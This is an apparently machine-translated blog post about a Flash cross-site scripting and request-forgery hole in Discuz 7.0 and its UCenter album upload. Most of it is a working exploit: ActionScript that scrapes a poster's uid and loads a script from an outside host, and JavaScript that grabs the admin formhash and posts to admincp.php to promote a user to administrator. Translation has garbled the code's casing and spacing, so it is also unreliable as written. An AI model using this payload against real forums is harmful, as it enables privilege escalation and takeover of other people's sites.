New Ideas About Discuz7.0.0 Flash Xss vulnerabilities

Coderlee Tianyang Forum

Today, I went to the DZ official website to check whether the swf file with the jpg suffix can be uploaded. But do you notice that the album of the ucenter space supporting DZ is not available, it can upload swf files with a jpg suffix.

So I downloaded the latest version of DZ7.0 AND THE ucenter and ucenter space. After the test, the file can be uploaded. That is to say, there is a csrf vulnerability, however, the conditions for use must meet the requirements of the discuz.net domain. a page that can be embedded in flash must exist. General registered users cannot post embedded flash on the dz official website.

In addition, I wrote a general xss script for dz6.0 to upgrade myself to an administrator.

The first is flash actionscript, which can automatically detect the poster's uid and pass it to the js file getURL ("javascript: var re = new RegExp (authorid = (. +) ", ig); var arr = re.exe c (document. body. innerHTML); uid = arr [1]; document. all. tags (SCRIPT) [0]. src = http://www.mariocms.cn/xss/discuz6.js.php? Uid = + uid; eval (); "," _ self ");
Then the rcale that generates js php code copy slightly changed the common var url = "<? = Dirname ($ _ SERVER [HTTP_REFERER])?> /";

Var request = false;

If (window. XMLHttpRequest ){

Request = new XMLHttpRequest ();

If (request. overrideMimeType ){

Request. overrideMimeType (text/xml );

}

} Else if (window. ActiveXObject ){

Var versions = [Microsoft. XMLHTTP, MSXML. XMLHTTP, Microsoft. XMLHTTP, Msxml2.XMLHTTP. 7.0, Msxml2.XMLHTTP. 6.0, Msxml2.XMLHTTP. 5.0, Msxml2.XMLHTTP. 4.0, MSXML2.XMLHTTP. 3.0, MSXML2.XMLHTTP];

For (var I = 0; I <versions. length; I ++ ){

Try {

Request = new ActiveXObject (versions [I]);

} Catch (e ){}

}

}

XmlHttpReq = request;

/* Hash */

 

XmlHttpReq. open ("GET", url + "admincp. php? Action = home ", false );

XmlHttpReq. send (null );

Var resource = xmlHttpReq. responseText;

Var numero = resource. search (/formhash /);

Var formhash = encodeURIComponent (resource. substr (numero + 17,8 ));

 

Alert ("admincp. php? Action = editgroups & uid = <? =_ _ REQUEST [uid]?> ");

 

Var post = "formhash =" + formhash + "& groupidnew = 1 & extgroupidsnew [] = 1 & editsubmit = % CC % E1 % 20% BD % BB "; // construct the data to carry

XmlHttpReq. open ("POST", url + "admincp. php? Action = editgroups & uid = <? =_ _ REQUEST [uid]?> ", False); // use the POST method to open a connection to the server and communicate asynchronously.

XmlHttpReq. setRequestHeader ("Referer", url );

XmlHttpReq. setRequestHeader ("Accept", "image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd. ms-powerpoint, application/vnd. ms-excel, application/msword ,*/*");

XmlHttpReq. setRequestHeader ("content-length", post. length );

XmlHttpReq. setRequestHeader ("content-type", "application/x-www-form-urlencoded ");

XmlHttpReq. send (post); // send data
Another is that many people still use dz6. Many people have fixed the vulnerability of inserting a sentence, but they can still be set as the background administrator.